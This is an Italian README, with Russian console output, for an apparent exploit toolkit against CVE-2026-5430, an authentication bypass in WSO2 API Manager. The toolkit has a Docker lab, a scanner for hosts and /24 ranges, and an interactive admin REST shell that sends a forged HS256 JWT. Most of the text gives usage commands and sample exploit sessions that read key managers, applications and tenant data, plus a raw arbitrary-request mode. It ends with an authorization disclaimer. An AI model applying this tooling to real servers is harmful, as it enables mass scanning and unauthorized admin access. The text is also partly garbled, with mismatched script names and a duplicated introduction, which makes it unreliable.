
Laboratorio vulnerabile WSO2 API Manager 4.5.0 in Docker, scanner ed exploit per CVE-2026-5430 (bypass dell'autenticazione tramite JWT HS256 falsificato)
Strumenti per lavorare con CVE-2026-5430: laboratorio vulnerabile in Docker, scanner multithread e REST shell interattiva.
| File | Scopo |
|---|---|
wso2_api_lab.sh | Distribuisce WSO2 API Manager 4.5.0 vulnerabile in Docker (porta 9443) |
wso_api_scanner.py | Scanner multithread per CVE-2026-5430 |
wso_api_exploit.py | Admin REST shell interattiva |
Per lo scanner:
pip install requests colorama psutil
Per il laboratorio: docker, curl (solitamente preinstallati in Kali/Debian).
L'exploit (wso_api_exploit.py) utilizza solo librerie standard di Python.
CVE-2026-5430 — bypass dell'autenticazione nell'Admin REST API di WSO2 API Manager 4.5.0 GA.
Durante la verifica del JWT, il modulo JWTUtil.verifyTokenSignature supporta solo
RS256/RS384/RS512. Se arriva un token HS256 senza kid, tenta di risolvere
la chiave tramite alias e genera un'eccezione. Il pre-patch
OAuthAuthenticationInterceptor non gestisce questa eccezione e continua
l'elaborazione con i dati del token non verificati. Di conseguenza, la richiesta all'Admin REST API
viene eseguita a nome di admin senza una sessione valida.
carbon-apimgt (API Control Plane, Traffic Manager, Universal Gateway)Rendere lo script eseguibile:
chmod +x wso2_docker_lab.sh
Avviare:
./wso2_api_lab.sh
Lo script verifica Docker e la porta 9443, scarica l'immagine wso2/wso2am:4.5.0,
avvia il container con binding 0.0.0.0:9443 e attende che WSO2 sia pronto
(fino a 300 secondi).
Cambia porta:
./wso2_docker_lab.sh 9443
Esempio di esecuzione riuscita:
[*] Скачивание образа wso2/wso2am:4.5.0
4.5.0: Pulling from wso2/wso2am
Digest: sha256:e42e5d2c922e2baa4073a9a13458038281f7753f594a87bd3fee75464e254bcb
Status: Image is up to date for wso2/wso2am:4.5.0
docker.io/wso2/wso2am:4.5.0
[*] Запуск контейнера wso2am-cve-2026-5430 на 0.0.0.0:9443
51c476e6a9eaf199768512d481d0439024021c91933c05bf2cf8c20e0514e10a
[*] Ожидание готовности WSO2 (до 300s)
[i] Ожидание WSO2... 65s, статус=000
[+] WSO2 готов
[+] === Лаборатория готова ===
URL цели: https://127.0.0.1:9443
В сети: https://ВАШ_IP:9443
Контейнер: wso2am-cve-2026-5430
Логи: docker logs -f wso2am-cve-2026-5430
Остановить: docker rm -f wso2am-cve-2026-5430
Проверка: curl -k -i https://127.0.0.1:9443/api/am/admin/v4/tenant-config
Сканер: python3 wso_api_scanner.py 127.0.0.1 9443
Эксплойт: python3 wso_api_exploit.py
curl -k -i https://127.0.0.1:9443/api/am/admin/v4/tenant-config
Risposta attesa — HTTP/1.1 401 Unauthenticated request.
Sintassi:
python3 wso_api_scanner.py <target> [ports]
Host singolo:
python3 wso_api_scanner.py 127.0.0.1 9443
Intervallo /24:
python3 wso_api_scanner.py 192.168.1.0/24 9443
File con elenco di IP:
python3 wso_api_scanner.py wso_ips_only.txt 9443,8243
Avvio:
python3 wso_api_exploit.py
Inserisci la destinazione nel formato host:port, ad esempio:
192.168.1.165:9443
Admin REST API v4 (/api/am/admin/v4):
| Comando | Descrizione |
|---|---|
tenant | Configurazione del tenant: scope, ruoli, notifiche, impostazioni di self-signup |
km | Elenco di tutti i Key Manager |
km <id> | Dettagli di un Key Manager specifico (tokenEndpoint, issuer, jwks, grant types) |
km-global | Key Manager globali |
apps | Elenco delle applicazioni (Applications) |
apps <id> | Dettagli di un'applicazione specifica |
env | Gateway Environments (vhost, porte, tipo di gateway) |
env <id> | Dettagli di un Environment specifico |
org | Elenco delle organizzazioni |
org <id> | Dettagli di un'organizzazione specifica |
throttle-app | Application throttling policies |
throttle-sub | Subscription throttling policies |
throttle-adv | Advanced throttling policies |
throttle-custom | Regole di throttling personalizzate |
throttle-deny | Deny (blocking) policies |
workflow | Elenco delle pending workflow tasks |
workflow <ref> | Dettagli di un workflow specifico |
tenants | Elenco dei tenant |
categories | API categories |
labels | Labels |
settings | Admin settings: Key Manager supportati, gateway types, scope |
alerts | Elenco dei tipi di alert supportati |
scopes | Role-scope mappings |
roles | Role alias mappings |
bots | Bot detection data |
llm | Elenco dei provider LLM registrati (OpenAI, Azure, MistralAI) |
Publisher REST API v4 (/api/am/publisher/v4):
| Comando | Descrizione |
|---|---|
apis | Elenco di tutte le API |
api <id> | Dettagli di un'API specifica |
api-swagger <id> | Specifica Swagger di un'API specifica |
api-products | API Products |
subscriptions | Elenco delle sottoscrizioni |
pub-apps | Applicazioni (publisher view) |
pub-throttle | Throttling policies (publisher view) |
Utility:
| Comando | Descrizione |
|---|---|
raw <METHOD> <path> | Richiesta REST arbitraria con JWT falsificato |
raw-json <METHOD> <path> <json> | Lo stesso con corpo JSON |
save <path> | Salva l'ultima risposta in un file locale |
jwt | Mostra il JWT falsificato corrente |
! <cmd> | Comando locale sulla macchina dell'operatore |
cache-clear | Svuota la cache |
help / ? | Guida ai comandi |
exit / quit / q | Esce dalla shell |
shell> tenant
[HTTP 200]
{"EnableMonetization":false,...}
shell> km
[HTTP 200]
{"count":1,"list":[{"id":"...","name":"Resident Key Manager",...}]}
shell> save km.json
[+] Сохранено 512 байт в km.json
shell> ! jq '.list[].name' km.json
"Resident Key Manager"
shell> raw GET /api/am/admin/v4/environments
[HTTP 200]
{"count":1,"list":[{"id":"Default",...}]}
shell> jwt
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9...
500: /api/am/publisher/v4/apis, /api/am/publisher/v4/api-products,
/api/am/publisher/v4/subscriptions, /api/am/admin/v4/applications,
/api/am/admin/v4/throttling/policies/*.tenant, km, km <id>, env, settings, workflow, categories,
labels, alerts, llm, org, pub-throttle restituiscono 200 e confermano
il bypass dell'autenticazione.Gli strumenti sono destinati al test dei propri sistemi e di laboratori didattici. L'uso contro sistemi altrui senza autorizzazione scritta è illegale.
MIT
Toolkit per CVE-2026-5430: un laboratorio Docker vulnerabile, uno scanner multithread, e una shell REST interattiva.
| File | Scopo |
|---|---|
wso2_api_lab.sh | Avvia un WSO2 API Manager 4.5.0 vulnerabile in Docker (porta 9443) |
wso_api_scanner.py | Scanner multithread per CVE-2026-5430 |
wso_api_exploit.py | Shell REST Admin interattiva |
Per lo scanner:
pip install requests colorama psutil
Per il laboratorio: docker, curl (solitamente preinstallati su Kali/Debian).
L'exploit (wso_api_exploit.py) si basa esclusivamente sulla libreria standard di Python.
CVE-2026-5430 è un bypass dell'autenticazione nella Admin REST API di WSO2 API Manager 4.5.0 GA.